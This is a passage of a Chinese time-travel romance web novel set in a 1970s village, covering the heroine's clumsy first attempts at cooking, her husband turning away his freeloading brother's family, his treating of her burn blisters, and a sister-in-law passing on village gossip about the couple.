又打了一盆水彻底洗了个脸,才感觉活了过来,眯着眼睛要去拿手巾,一起身正对上大门口大大小小背着背篓抱着草的五个孩子,一个一个都用难以形容的探究表情打量着她。 谢晚棠一想到自己刚才的惨状以及还没擦干仍在流水的脸和鬓角:“……” 不知道在这场小孩们单方面的冷战中,她算不算先败一局? 妈妈和姥姥都是美食高手,她从小跟在旁边耳濡目染,见过的吃过的名菜可多,她还准备像穿书前辈们那样,大杀四方玩转七零美食界呢! 没想到—— 竟然第一步就倒在了烧火上! 真是大意失荆州啊! 好在一大五小尴尬地面面相觑时,傅青山已经弄好了火,拿了手巾出来递给她,狼狈的谢晚棠非常感激地接过手巾擦干净脸上发梢的水。 看到傅青山,几个孩子终于回过神来,大刚带着二刚去割草来,兰兰带着小刚和妞妞去剜了野菜回来喂鸡。 几个孩子看到新买回来的小鸡小鸭都凑了过去,大刚把草放好后,把鸡鸭都放进了栏圈,几个小的开心地蹲在那儿拿着野菜喂小鸡小鸭。 可爱的小动物吸引了孩子们的注意力,刚才她尴尬的一页才被勉强揭过去。 傅青山开了北窗,南北穿堂风吹了这一阵子,屋里的浓烟也散得差不多了。 谢晚棠尴尬地摸摸鼻尖解释:“那个,在家的时候都是我娘做饭,我没烧过火……” 傅青山倒是没怀疑,只是进屋后跟她讲引火的时候灶膛里的柴火不能放满,得留出空间窜风。 傅青山这么一说,谢晚棠一下子反应过来了,初中物理里讲过呀:“原*来是我柴火堆太多了,里面没有空气了!空气里有氧气,氧气充足才能燃烧!” 弄明白问题所在,小小烧火,不在话下! 谢晚棠正开心,余光看到傅青山眉头蹙起,奇怪地看着她,一脸听不懂她在说什么的表情。 谢晚棠突然想起她现在的人设是70年代地主家没文化的闺女!她不该懂得比出去当过兵见过世面的傅青山还多! 糟糕!人设要崩! 实在是太简单的小知识直接就脱口而出了!怎么办怎么办! 谢晚棠小脑筋疯狂转,余光突然瞥到傅青山给她买的彩礼之一——收音机! 谢晚棠唇角弯起,努力笑得自然又自信,指了指里屋:“收音机里讲的。” 傅青山闻声回头看了一眼放在新桌子正中间的收音机:“哦。” 烧火这一页总算彻底揭过去,谢晚棠挽起袖子:“水开了,那你秃噜**!我削点土豆。” 傅青山点头,舀了开水到盆里端出去开始秃噜鸡毛,兰兰帮她浇着水冲洗干净后,傅青山掏出内脏收拾,最后又洗了一遍,端着盆回屋里。 一进去就看到谢晚棠笨拙地拿着菜刀在给土豆削皮,拳头大的土豆削完了还剩个鸡蛋大,而且那个架势,好几次傅青山看她都差一点要切到自己的手。 他鸡都收拾好了,谢晚棠盆里才削了4个小土豆。 在谢晚棠又一次差点切到自己手并且还嫌他挡了光影响她干活的时候,傅青山几不可闻地叹了口气:“我来吧。” 谢晚棠也没想到用刀削土豆这么难,听傅青山说要来,赶紧把位置让出来。 主要是工具不行吧!在家看妈妈削土豆都是用刮皮刀,可快了。 用菜刀削土豆技术要求有点高,她还是和面吧! 逢年过节吃饺子她可是见过妈妈和面很多次了,虽然她没和过面,每次都只是做妈妈的擀皮小能手,但是没吃过猪肉还没见过猪跑嘛,就是面加水揉起来就好啦!不难。 但是—— 谢晚棠也不知道为什么,为什么看着妈妈和姥姥干得麻溜又利索的活,到她这全部都拖泥带水! 她真实演绎了面多了加水、水多了加面、面多了再加水……的死循环QAQ 直到傅青山已经削好了一盆土豆,洗了并且切好了,她,哦不,是面才被解救出来。 谢晚棠无奈地洗完手回来,傅青山不知道怎么配的比例,反正面在人家手里已经成型了,他有力的大手正在面盆里揉着挤压掉表面剩余的气泡。 谢晚棠看着面前高大却不失麻利的男人,又想到妈妈和姥姥,还有原身的娘,顿时有一种全世界都行,就她不行的感觉! 傅青山手腕转动揉捏面团,黄橙橙的二合面面团表面越来越光滑。 谢晚棠在旁边看着看着叹了口气:“你好厉害啊!” 傅青山听出了身旁人的懊恼,手上顿了下,偏头看过来:“在部队的时候做过。” 谢晚棠有一点点被安慰到。 傅青山担心:“不过我没做过土豆炖鸡,你确定你会做吗?” 谢晚棠:“当然!” 傅青山:“……” 如果是下午刚回来那会儿,他肯定无条件相信谢晚棠,但……经历过生火、削土豆、和面,他就要打个问号了。 毕竟相比于这些前期准备来说,在他的认知里,炒的过程肯定是更难的。 但,谢晚棠非常肯定,她真的会,傅青山也不好说什么。 于是起锅下油,油开以后,谢晚棠游刃有余地扔了一点葱花大蒜进去提香,然后端过来傅青山剁好的鸡块,还没来得及往锅里倒,盆底的水先滴到油锅里,炸开的油瞬间噼里啪啦往外烹溅,谢晚棠撸起袖子露出的小臂内侧首当其冲! “啊——啊——啊——” 谢晚棠被烫得嗷嗷的,惨叫连连,傅青山下意识接过盆,把人拉到身后。 在院里喂小鸡小鸭的孩子们闻声也跑过来,就见后妈站在爹身后,一边痛苦地捂着自己的胳膊,一边激情指挥:“鸡肉都倒进去!先翻炒!对,多炒一会儿,然后放上盐、酱油……再炒一会儿入味,然后现在添上水!” 盖上锅盖以后,叮咣的厨房可算暂时消停下来,几个孩子看得一脸懵,接着就见爹领着后妈出去了,他们跟过去看,爹压上来井水给后妈冲右胳膊。 后妈右胳膊内侧通红一片,再想到刚回来时家里的冒烟场面,孩子们一下子明白过来,后妈这是做饭烫着了。 冲洗了十几遍后,谢晚棠感觉疼得好多了,回去看了看锅,水已经开了,又填了点柴火,端起土豆要往锅里倒,傅青山快她一步接过来:“我来吧。” 土豆下锅后又炖了一会儿,汤汁逐渐收少,香味就出来了,傅青山又把二合面撕成一块一块摁成饼子沿着汤汁的边缘贴在锅边。 等到饼子熟了开锅的时候,满满一大锅土豆炖鸡烀饼子飘出浓郁的香气,傅青山尝了尝咸淡,汤汁的香气在舌尖化开,绝对可以称得上是美味。 连下锅都会被烫到的人,居然真的知道做法。 傅青山疑惑地看了一眼谢晚棠,谢晚棠正抿唇盯着锅里的鸡肉,满眼渴望。 傅青山犹豫了下,筷子叨起一块肉放到她嘴边,她一下子就笑了,肉很烫,她嘟起嘴来吹吹,两个小梨涡也跟着动,等到吹得不那么烫了才咬住,嚼了嚼,水润的杏眼都享受得眯起来:“没错!就是这个味!” 傅青山:“你以前吃过?” 谢晚棠:“收音机里讲过。” 她现在可记住自己的人设了,贫穷又极度重男轻女的地主家庭出身,怎么能吃过这种好东西呢! 傅青山…… 收音机连味道都能讲? 几个小孩被香味馋得挤在当门盯着锅里的美味,一个个大眼睛铮亮,口水都要流出来了! 傅青山弄了半锅鸡出来放大盆里,剩下的盛不下先放锅里热乎着,谢晚棠帮着拿碗筷,让几个孩子去洗手吃饭。 绝顶美味在前,小孩们哪里还顾得上冷战,谢晚棠说完,他们如最听话的小兵,麻溜去打水洗手,上炕吃饭! 炖鸡的香味顺着北窗和南门的穿堂风,吹遍了大半个下沟村,馋得村里的小孩跟小狗鼻子似的上街来闻味儿。 傅老三一家也是闻着味来的,一进厨房门,就被高密度的浓郁香气馋的口水都要留下来了。 虽然灶膛里没再添柴火,但余火还温着锅里的鸡块土豆饼子,没有彻底盖严实的锅盖露出一条缝,老三媳妇伸手拿起锅盖一看,小半锅随处可见的鸡肉块,透着油光光的鲜艳色泽,连带着土豆都沾上了鸡熬下来的油,泛着诱人的金黄。 一家子对着一锅美食直咽口水,恨不得直接上手抓了吃了再说! 谢晚棠刚坐下,还没来得及盛,就听到当门有动静。 傅青山听力比她好,“谁?” “二哥,你们吃饭呢?” 下一秒,傅老三和媳妇就领着两个儿子大柱二柱进来了,一家四口站满了炕前,傅老三嘴上叫着二哥,眼却直勾勾地盯着炕桌上的土豆炖鸡。 嘴上说着明知故问的话,用意就像秃子头上的虱子。 炕上五个孩子原本眼睛都亮起来,摩拳擦掌就等着开饭,一看到三叔三婶和大柱二柱进来,立马皱眉,一脸的警惕。 大的就不用说了,谢晚棠看到最小的妞妞眉心都快揪出一朵小花了。 一般情况下,客人这么问,主人都会客气一句:“吃了吗,一起吃点吧。” 今天分家的时候,谢晚棠就看出来了傅老三和他媳妇贪心爱赚便宜的品行,她相信只要傅青山客气一句,这一家四口马上就能一屁股坐下,开始风卷蚕食。 人家进来眼里就只有二哥,谢晚棠自然不说话,先看傅青山的反应。 毕竟是闪婚,她对傅青山也没那么了解,面对亲弟弟来蹭吃蹭喝,傅青山会是个什么态度,她不知道。 这个年代的男人,可能大部分都有兄弟是手足,老婆是衣服的思想? 傅青山看了一眼老三,面上看不出什么情绪,声音还是不冷不淡:“嗯。” 大佬果然不是一般情况。 傅老三没等到二哥的客气,又笑道:“二哥,你们这吃得真好啊!” 傅青山还是一声“嗯”,稳稳坐在炕沿边,没有一丝抬屁股邀请弟弟的意思,急得傅老三都快要跺脚了。 谢晚棠唇角微微勾起,二哥不按套路出牌啊。 老三媳妇扯扯他衣角,朝他使眼色,傅老三直接厚着脸皮道:“嘿嘿,二哥,我们这还没做饭呢。” 傅老三说完,谢晚棠明显感觉炕上的几个孩子更紧张了,二刚一副随时要护住鸡肉的架势! 傅青山“哦”了声,看了眼窗外,夕阳还没彻底落下,透进来光亮,屋里都还不用点蜡。 “现在做还来得及。” 老三一家……?? 谢晚棠心里已经笑喷了,给傅青山默默又竖了个大拇指。 哥,你的不懂人情世故有时候是真爽啊! 傅青山像是没看到弟弟一家的诧异神色,语气平常地下达逐客令:“你嫂子和侄子们中午都没吃饭,没别的事,我就不送你了。” 傅青山说完,便不再看老三一家,从谢晚棠那边拿过碗和勺,给谢晚棠和孩子挨个盛菜和饼子。 若是大哥,傅老三还敢耍赖,但二哥向来不苟言笑,他根本不敢在二哥面前弄些无理取闹的样,稀里糊涂地就被赶了出去。 送走贪心想赚便宜的一家子,还不到1分钟,估计一家子也就刚回南屋,就传来了老三媳妇打骂老三的声音,虽说是骂老三,但听着也是在骂傅青山。 “你还说你二哥疼你,有好吃的肯定不会忘了你,你可真能给自己脸上贴金啊,你在你二哥心里算个屁!你把他当二哥,他把你当弟弟了吗?!人家心里只有老婆孩子,你们这些爹娘兄弟的算个屁!” “我嫁到你们老傅家真是倒了八辈子霉!一大家子没分家的时候捞不着吃好的,分了家了人家吃好的我看着,你这个没用的东西,也不知道给老婆孩子撑腰!” …… 一直到孩子们一碗吃完,开始加第二碗的时候,那边打骂的动静还没停下。 谢晚棠不时抬头打量傅青山,傅青山跟往常一样面无表情,看不出什么情绪,好像根本听不出老三媳妇的指桑骂槐一样。 跟那边的闹腾不同,没有被瓜分美食的孩子们终于放松下来,这么些年,早就习惯了三叔三婶打打闹闹,即使隔壁骂声不断,也不影响他们享受分家后第一餐美食。 倒不是他们有食不言寝不语的好习惯,这么美味的好饭,一个个都憋着一肚子话想发表,但是鉴于和后妈的冷战局势,他们只能憋在心里,好像只要先说了话,就是低了头,就输了! 谢晚棠听着那边传来傅大嫂去劝架的声音,结果越劝,那两口子吵闹得越厉害。 而“罪魁祸首”傅青山却好像听力倒退了,一点也不耳聪目明了,吃着自己的饭,对那边的动静无动于衷。 谢晚棠非常好奇地打量傅青山,傅青山真是太出乎她的意料了,他脑子里怎么想的,好像永远不会让别人摸清。 傅青山原本低头端着碗吃饭,可能是她的视线盯得太直白,傅青山突然抬头,两人视线猝不及防地撞上,傅青山漆黑的眸光犀利,仿佛要将她看穿。 谢晚棠偷看被抓包,瞬间尴尬得脚趾抠炕。 “那个,我不是偷看你……” 话落,埋头吃饭的孩子们齐刷刷抬头看向她。 “……” 谢晚棠尴尬地咳嗽一声,坦诚地说出心里疑惑:“我就是挺好奇,你怎么能那么干脆得把你弟弟弟媳一家赶走,你心里真的就没一丁点的过不去?” 孩子们闻声也看向傅青山,说实话,他们刚才也可担心爹把三叔一家留下呢! 三婶向来偏心,没分家的时候二合面饼子都给大柱二柱,给他们就吃瓜干,现在他们有了好吃的,自然也不愿意跟三叔三婶他们一家共享。 人与人之间的来往就是这样,有来才有往,三婶一家没有“来”,所以他们不想“往”。 说他们小气也好,吝啬也罢,反正他们就是不想! 傅青山闻言疑惑地看着她,那眼神像是在表达不理解这有什么过不去的:“分了家不就是要各过各的?他现在是有老婆孩子的人,既然分了家,就要沉下心来干活养家好好过日子,小时候那些赚小便宜的心思要断了,不然大柱二柱跟着也学不好。” 谢晚棠发现傅青山虽然平日里话不多,但其实什么事都看得清清楚楚。他心里不仅没有丝毫地过意不去,而且还坚定地认为,这是他弟弟独立的开始。 独立养家糊口,独立处理家庭琐事,真真正正跟大家庭断奶。 谢晚棠想起之前在网上看到一个事业家庭都很成功的阿姨给年轻女孩分享的择偶观:女孩子找对象,只筛选不改变。 一个三观端正的男人不需要你去调教改变,他会有自己正确地分析问题处理问题的能力。 大佬果然是大佬,优秀与生俱来啊! 谢晚棠非常肯定地对傅青山竖起大拇指由衷的钦佩:“哥,牛逼!” 傅青山闻声微微皱眉,看着她的表情变了变,好像要说什么,最终还是没说,低头吃饭。 孩子们肚子里都没什么油水,也能享得动,大刚吃了4碗,兰兰和二刚吃了3碗,小刚和妞妞还小,和谢晚棠吃得差不多,两碗下去就撑得不行了。 二刚吃饱了摸摸自己圆滚滚的小肚肚,还是忍不住舒服得叹了口气:“要是每顿都吃这么好,那该有多好啊!” 兰兰下意识看向谢晚棠,见谢晚棠只是面带笑意地看着二刚,并没有什么异样嫌恶的神色,才放下心来戳着二刚的脑门:“做梦吧你,还能天天跟过年似的?” 小刚摇摇头:“过年也捞不着敞开肚子吃肉啊!” …… 人吃饱了就爱犯懒迷糊,谢晚棠左手手肘靠在饭桌上,单手托腮,听着孩子们聊他们期待却又不敢想的生活。 谢晚棠知道,他们期待的在不久的将来都会实现,新中国度过艰难贫苦的70年代后,即将迎来改革开放,时代飞速发展,生产力极大提升,生活日新月异。 以后的日子真的天天跟过年一样,顿顿都能吃肉,以致于大家甚至都觉得对过年没有多大期待了,因为过年吃的跟平时也没什么不同。 只不过,谢晚棠现在还不能告诉他们,毕竟,收音机也不会预测未来。 吃完饭天黑了,屋里点起了蜡,忽闪忽闪的火苗照得不大的屋里暖呼呼的。 傅青山盘腿坐在炕上,肩背挺直。 孩子们吃饱喝足在叽叽喳喳地聊天,谢晚棠坐在他对面,慵懒地托着腮微微侧过脸,着看孩子们玩闹,嘴角勾起浅浅的弧度,托腮的左手竖起,宽松的藏青色袖子自然垂落到手肘,露出比鸡蛋清还要白的小臂,纤细修长。 大锅烧火做饭,烧得炕有点热,傅青山体会到了老一辈人说的老婆孩子热炕头,27年的生命里,他第一次真真正正地感觉到了什么是家。 小孩们虽然互相之间聊得火热,但还是不跟谢晚棠说话,不过玩闹完倒是很自觉地下去帮着收拾桌子,压水洗碗洗筷子。 谢晚棠把锅里剩的土豆鸡盛到盆里,放到高处,又盖上一个盆压住。 这是她跟着薛桂花学的,这个年代老鼠多,人饿老鼠也饿,不得不防。 谢晚棠抬手往高处放盆的时候,土布袖子材质有些粗,蹭着右边小臂,一阵阵刺痛。 傅青山已经在刷锅了,谢晚棠强忍着不适放好盆回了炕间,撸起袖子一看,傍晚做饭那会儿小臂内侧被油溅红了的地方,居然起水泡了!!! 大大小小的红色水铃铛错落排着,看上去密密麻麻一片,谢晚棠只看一眼就头皮发麻,啊啊啊谁能救救她简直要密集恐惧症了!!! “怎么这么严重?” 谢晚棠急得直跺脚,身后传来傅青山清冷低沉的声音。 傅青山走到她身前,眉头紧紧地,拉着她的手腕凑近烛光,仔细查看。 谢晚棠自己反正是不敢看了,视线避开骇人的伤口,落在傅青山头后短硬的发茬上,像他这个人一样硬。 “我也不知道啊,刚才衣服蹭着感觉难受,一看就这样了,怎么办啊!” 谢晚棠紧张得不自觉声音都拔高了,外边几个孩子洗完碗听到声音,不知道什么事,进来看。 大刚和兰兰先看到谢晚棠手上烫的水泡,眉头几乎同步皱了起来。 谢晚棠皮肤细嫩白皙,通红的水泡看起来格外刺眼。 小刚和妞妞还小,垫着脚也看不见,二刚挤进来一看,倒吸一口凉气:“这么多!这得挑到啥时候?” 谢晚棠一听脸色都变了:“还得挑?!” 二刚一脸过来人很有经验地样子郑重点头:“我去年烫了腚就是挑破的,是吧爹。” 傅青山全部查看完直起身:“嗯,这几个太大的得挑破把水放出来,小的可以不用。” 谢晚棠强忍着密集恐惧症又扫了一眼可怖的小臂,大的最少也有六七个啊!简直要昏过去!! 谢晚棠一脸担忧:“挑的时候会疼吗?” 傅青山垂眸看她:“有点。” 谢晚棠欲哭无泪,傅青山的“有点”肯定就是很疼,昨晚搓伤的时候他也说“会有点疼”,结果就是很疼很疼! 她最怕疼了,而且咬不住牙QAQ 谢晚棠看看围一圈暂时忘记冷战的孩子,又朝傅青山使了个眼色,没想到傅青山竟然秒懂她的意思,对兰兰道:“都在这挡着光看不清,你先带弟弟妹妹出去玩吧。” 兰兰带着妞妞和三个刚出去以后,傅青山洗过手,从谢晚棠带来的陪嫁箱的针线筐里找了根针和一块干净的纯棉白布,就着蜡烛的火苗烧一烧消毒。 谢晚棠从小娇生惯养,被纸割破手就是受过的最大的伤了,哪里遭过这样的罪,看着那火苗中央又细又尖的针,心跳扑腾扑腾地加速,像是要经历被容嬷嬷针刺酷刑前一般紧张! 捏着针的男人也是一脸的无情,犹如70年代民间医学界容嬷嬷…… 看着傅青山大手拿着针离开火苗的那一刻,谢晚棠简直紧张到爆炸!!! 下一秒,傅青山看她一眼,她紧张地咽了口唾沫,傅青山左手握住她手腕,低头的同时,针尖准确刺向最大的那个水泡的边缘。 “啊————” 针刺破皮肤的那一刻,说不上特别疼,但是也不舒服,说不出是个什么滋味,主要是心理防线彻底崩溃了,谢晚棠吓得偏头抵在顾青山的肩头,没忍住喊了出来。 幸好提前让孩子们出去了,要不然可太丢人了! 针拔出来的时候没有多疼,但往外挤水泡里的水就很折磨人了,谢晚棠只看了一眼就不敢看了,紧紧闭上眼睛,额头抵在傅青山肩头,随着小臂上传来忽轻忽重的痛感,忍不住忽高忽低地痛呼呻。吟…… 傅青山垂眸认真,脊背手臂绷得紧紧的,才能勉强稳住手上的动作。 掌心里纤细的手腕盈盈一握,柔若无骨,随着疼痛轻轻颤抖,皮肤来回轻轻摩擦着,蹭得他掌心的温度不可自控地升高。 她害怕不敢看,头抵在他的膀子上,隔着一层薄薄的衬衣料子,额头的温度轻易地传进来,比他的膀子要热一些。 难受的时候她还会偏头用脸去蹭,脸上有肉,触感和额头的骨面完全不同,肉肉软软地蹭在他肩膀坚硬的肉上,好似羽毛轻轻掠过,带起一阵酥痒,伴着那娇嗔的从唇齿间泄出的哼唧,如水中一圈一圈连绵不断的波纹,一下一下不轻不重地撞着他的心尖。 撞不到实处,却又不断撩拨着,一点一点搅乱他的心跳。 20-30 第21章 怎么哭了? 傅青山指尖下意识攥紧,半晌没动,努力试图平复杂乱的心绪。 谢晚棠闭着眼睛靠在他胳膊上也不敢偏头看:“好了吗?” 她说话时吐出的热气争先恐后地钻过布料的缝隙进去,给他那一小片皮肤带来一阵燥热。 傅青山强迫自己集中精神,大拇指和食指使劲攥了攥才恢复知觉,他嗯了声,加快手上的动作,挤完最后一个大水泡:“好了。” 谢晚棠长舒一口气,从他身上起来,手臂垂在身体两侧,仍然不敢看被烫伤的地方。 傅青山也轻轻呼出一口气,刚刚因为谢晚棠的靠近而紧绷的肌肉慢慢放松下来。 谢晚棠的衣袖宽松,刚才处理伤口的时候一撸袖子就到了手肘处,现在一垂手放下,袖子又自然垂落下来盖住手臂。 傅青山提醒:“把袖子挽上去晾一晾,今晚别碰到伤口。” 刚说完,谢晚棠就把手伸了过来,抬手时袖子又移上去一点,露出一小节细白的手腕,像是打磨光滑的上等玉石,天然地吸引着人的视线落在那里,无法移开。 傅青山怔了片刻,才回过神来,谢晚棠闭着眼睛偏过头去不敢看,傅青山抬手把袖口一节一节挽上去,指尖不可避免地碰触到衣袖下丝绸般顺滑的皮肤,因为烫伤,皮肤的温度比别处都要高,烫得他的指尖又麻又痒。 挽好袖子,傅青山轻咳一声:“明天就别去下地了,晌午把剩的土豆鸡块饼子热热你们吃了,晚上我早点下班,等我回来再做饭。” 被油烫到的悲惨经历让谢晚棠一时间对做饭这件事心有余悸,没有逞强,点头应了,毕竟这么大的创面,这个年代也没什么消毒水,她也怕大热天的感染了,那就麻烦大了。 午饭晚饭都有着落了,谢晚棠想了想家里的材料:“那明早熬苞米面粥,再一人煮一个鸡蛋,怎么样?” 傅青山闻声犹豫了下,在这个一家人一天一共就吃一个鸡蛋的年代,谢晚棠的提议确实让人意料之外。 谢晚棠看傅青山神色犹豫,赶紧解释道:“虽然粗粮蔬菜很健康,但孩子们都在长身体的年纪,蛋白质摄入量太低了不行,每人至少要保证每天一个鸡蛋。” 她解释完,傅青山看她的眼神更奇怪了。 谢晚棠反应过来自己一番不合时宜的营养学科普,抿唇指了指傅青山身后:“收音机里讲的。” 傅青山犹豫不是因为抠门不舍得,只是乍一听有些惊讶罢了,谢晚棠讲的那些从收音机里听来的蛋白质什么的,他听得似懂非懂,但吃鸡蛋好他肯定是知道的。 昨晚一家人围在炕上吃饭玩闹的场面还萦绕在他心头,他非常清楚挣钱的意义。 虽然要攒钱盖房子,但也不至于从几个鸡蛋里省出来。 他点头:“听你的。” 明天的一日三餐都安排好了,两人今天又是骑车,又是赶集,又是搬东西,跑了一天一身的汗,傅青山给她烧了一锅热水,又拎进来一桶井水,让她掺着用。 谢晚棠右手臂的伤不能碰水,她只能暂时左手弄湿了手巾擦一擦身上黏糊糊的汗。 傅青山就直接脱了衬衣,光着膀子,在院子弯腰用微凉的井水冲背洗头。 玉秀家的母狗生了窝小狗,几个孩子看到要睡觉了才回来。 昨天就他和傅青山俩人睡一个大炕,宽敞得十字交叉睡都不会碰到,谢晚棠还没什么感觉。 今天一下子加了5个孩子,突然就像晒干鱼一样,把看着宽敞的炕挤得满满当当。 她手臂上的伤怕碰,小孩子睡觉不老实,谢晚棠只得和傅青山换了个位置,睡在最里边靠墙的地方,傅青山隔在她和孩子们中间。 左边是墙,右边是傅青山,两人近到平躺着都会碰到彼此的胳膊,平日舒适的距离一下被打破,傅青山的呼吸声和身上刚洗过澡的肥皂味都很清晰,一点一点钻入她的耳膜和鼻腔,强势地不容置疑地入侵她的领地。 昨晚隔着一米多的距离,她根本没有同床共枕的感觉。 今天谢晚棠才后知后觉,她真的跟一个男人身体挨着身体,睡在了一个炕上。 哪怕明知不是真的夫妻关系,也有一种说不出的感觉。 可能是伤口愈合过程不舒服,也可能是身边有人不习惯,直到后半夜谢晚棠才勉强迷迷糊糊睡着。 …… 一觉醒来,晨曦透过窗棂洒落在炕席上,炕上的小干鱼们都没了。 谢晚棠还有点迷糊,不小心看到手臂上的伤,虽然看起来还挺吓人,不过感觉过了一晚上不怎么疼了。 打着哈欠下炕穿鞋,一推开炕间的门,苞米面慢熬出来的香气扑面而来。 傅青山正站在锅边用铲子搅动大锅里已经半黏糊的苞米面粥,闻声看过来。 谢晚棠有一种在家里一起床就看到妈妈在厨房做饭的幸福感,扬起唇角朝傅青山笑道:“早啊。” 傅青山怔了下,声音依旧冷硬:“早。” 谢晚棠伸了个懒腰走到家门口,兰兰正在压井边给妞妞压水洗脸,大刚在锄那一小片闲置的空菜地,二刚和小刚在喂小鸡小鸭。 非常温馨的农家画面。 谢晚棠洗漱完,一大五小已经在炕上坐好,每人一碗金黄的玉米面粥,一个鸡蛋,都眼巴巴地盯着。 等她上炕坐下,对面的傅青山才道:“吃吧。” 话落,炕上的孩子们就像得到训导员开餐指令的小警犬似的,咣咣开始干饭,热闹的场面让人看了都特别有食欲。 谢晚棠笑了下,端起自己的碗开始喝粥,纯农家天然玉米晒干后磨成面,无任何添加剂科技狠活,土灶大锅小火熬出了玉米面纯粹的香气…… 70年代也有70年代的美味。 吃完饭傅青山就去上班了,大刚把饭桌搬下去,兰兰把碗刷了,两人一起去上工,二刚愁眉苦脸地跟在后边去上学。 小刚和妞妞还没到入学的年纪,在家玩小鸡小鸭。 虽然几个孩子还是不跟她说话,但眼神里已经没有一开始那种强烈的敌意了,大家正在互相了解认识的过程中,对她这个后妈抱着存疑的态度。 日久见人心,谢晚棠并不着急。 小刚和妞妞一边玩小鸡小鸭,一边记挂着玉秀姑姑家的小狗,两个人时不时回头看看在当门里归置东西的后妈。 半晌,小刚磨蹭过去,站在家门口,看着后妈忙碌的背影,小声问:“我们可以去玉秀姑姑家看小狗吗?” 谢晚棠正把面袋子放进昨天新买的缸里,被身后突然的声响吓一跳,回头一看,是小刚扒在家门口,警惕又紧张地看着她。 没有称呼,但是是家里第一个主动跟她说话的小孩。 谢晚棠笑着点头:“去吧。” 这个年代家里都穷得叮当响,农村没有偷孩子的,家家户户都靠腿走路,街上也没有什么车,所以村里的孩子都自己上街玩,家长们并不担心,不像21世纪带孩子出门,一刻都不敢松手。 两个小孩得了允许,拉着手刚跑到大门口,谢晚棠突然想起来:“哎!等等!” 被叫住的小孩警惕地回头看她,生怕她下一句就是不让他们去了的惊慌小表情。 谢晚棠都看在眼里,笑道:“看看你玉秀姑姑在不在家,要是在家跟她说说,让她抽空捎着布料过来吧。” 小刚闻声点头,看起来像是听明白了的样。 谢晚棠看两个小孩拘谨的样子,摆摆手:“去玩吧。” 两个小家伙一溜烟就跑了,谢晚棠过去关大门的时候,胡同里早就看不到兄妹俩的影子了。 老三家媳妇刚好要去上工,路过她门口,两人视线对上,老三媳妇冷哼一声,对她一脸的仇视,一看就是为着昨晚没蹭吃成功记恨上了她。 贪心想占便宜还有脸了? 谢晚棠啪的一声关上大门,将小人丑陋的嘴脸关在门外,休想影响她的心情。 谢晚棠把樟木箱里的布料衣裳鞋都归置到新买的衣柜里,又去分家分的自留地里看了一圈,分给他们的那一小块自留地里只种了点白菜,谢晚棠摘了一颗回来,路上寻摸着怎么弄点花样蔬菜来,光吃白菜营养肯定不行,而且顿顿白菜也会吃够的。 玉秀是半头晌才过来的,她去下地了,小刚和妞妞去的时候她不在家,两个小孩又去地里找的她。 她一听侄子侄女们说嫂子让她带布料来,哪里还有心思干活,麻溜干完手上那点,就回家拿上布料来了。 之前因为哥哥嫂子忙着结婚,她懂事不来打扰,心里早就被新衣裳馋得不行了! 玉秀推门进来:“嫂子?” 谢晚棠闻声出来,站在家门口,抬手挡了下耀眼的太阳,朝她招手:“玉秀,快进来。” 玉秀关上门进来,她还带了一篮子菜:“我娘让我拿给你,你们刚分家,她怕你们菜不够。” 篮子里有刚摘的西红柿、黄瓜、丝瓜和南瓜,色泽鲜艳诱人,把儿都还新鲜得冒水,绝对的纯天然绿色蔬菜。 谢晚棠笑着接过来,“谢谢大娘!正需要呢!” 谢晚棠把菜拾出来,把空篮子放当门一会儿让玉秀带回去。 谢晚棠出去洗了手,回来给玉秀量尺,然后把布料铺在炕上裁。 玉秀坐在炕沿边上看了一会儿,嫂子看起来跟结婚前没什么不同,还是那么水灵好看。 想起外边的谣言,玉秀微微皱眉:“嫂子,俺青山哥对你好吗?” 谢晚棠正在心里默算数,闻声随口道:“好啊。” 除去他们之间的合约关系不提,傅青山这两天的表现,还算是挺好的吧。 玉秀看谢晚棠神色轻松自然,不像是有苦难言的样子,这才放下心来,凑近一点小声道:“嫂子,你以后晚上跟青山哥小点声。” 玉秀毕竟是没出嫁的大姑娘,说着说着脸就红了。 谢晚棠刚才在算袖窝弧度,没认*真听,裁好后才抬头:“什么小点声?” 玉秀又急又臊:“就是,就是晚上你们……哎呀!你懂的嫂子!” 谢晚棠…… 晚上?她懂的? 玉秀指指后窗,压低声音:“你们后屋住这个多嘴多舌的小寡妇,在外边到处传俺青山哥不行,每天晚上都虐待你!” 谢晚棠……???? 谢晚棠愣了好一会儿,才反应过来,小寡妇说的性。虐待,是她搓伤和挑水泡时的叫痛声? 看谢晚棠愣神,玉秀眉头又皱起来,一脸担忧:“俺青山哥真的虐待你?” 谢晚棠:“……” 谢晚棠抬手捋了一下右边鬓角掉下来的一缕头发,刚要开口解释,玉秀“啊”的一声,探过身子抓过她抬起的右手小臂,一翻过来,挑破的皮混着细小密集的小水泡,看起来触目惊心。 玉秀惊得差点喊出来,看了一眼后窗,又压低声音,一脸惊恐:“这是青山哥给你烫的?!” 虽然是问句,但那表情,那语气,俨然已经确认了。 谢晚棠:“……” 你别说,配上谣言,还真像。 谢晚棠无奈笑笑:“你看你哥像那样的人?” 玉秀皱眉:“看着是不像,不过都说知人知面不知心,青山哥难道真因为那……不行就变态了?跟那些清宫太监似的。” 外边一开始这么传她还生气,还替青山哥怼回去,可现在亲眼见着嫂子的伤,她彻底凌乱了。 变态?清宫太监? 这话不像是玉秀这样的大姑娘能说出来的,谢晚棠一听就知道是外边瞎传的,被玉秀听到了。 傅青山虽然性子冷,但毕竟是党和部队教育出来的男人,骨子里那绝对是一身正气,那些人居然会把他跟变态太监联系到一起…… 想象力也太丰富了吧! 傅青山风评被害太甚,谢晚棠都看不过去,为他辟谣:“怎么可能,是我自己做饭不小心烫的,你侄子侄女们都看着呢。” 玉秀一听嫂子这么说,长舒一口气:“我就说嘛!怎么可能?!” 谢晚棠很肯定地告诉玉秀:“你哥没有虐待我,他对我……还挺好的。” 虽然想为傅青山正名,但说得也是实话,傅青山对她确实是挺好的,无论是生活琐事上,还是家庭矛盾上,他都处理得很好。 至于几个孩子跟她冷战,那不是傅青山的错,孩子长大了有自己的思想,而且谢晚棠也不希望傅青山强行压制几个孩子认可她,强扭的瓜不甜,没意义。 玉秀彻底放下心来,气得骂那些长舌妇,骂了一会儿,又压低声嘱咐:“不过你们以后还是小声点。” 谢晚棠:“……好的。” 她实在没法跟玉秀解释那两晚的叫喊是因为伤疼,而不是房事,毕竟如果新婚夫妻不行房事的话,好像又证实了傅青山不行的事实。 不行归不行,但至少一直以来都是坊间传闻,如果她解释了,就像是给这个事盖棺定论了一样。 玉秀哼了声:“我看这些人就是嫉妒你嫁给我哥过好日子,天天盯着你,恨不得你越惨她们才越开心呢!” 没想到玉秀看得还听明白,谢晚棠不屑地笑笑:“所以啊,我更得过得好,气死那些人。” 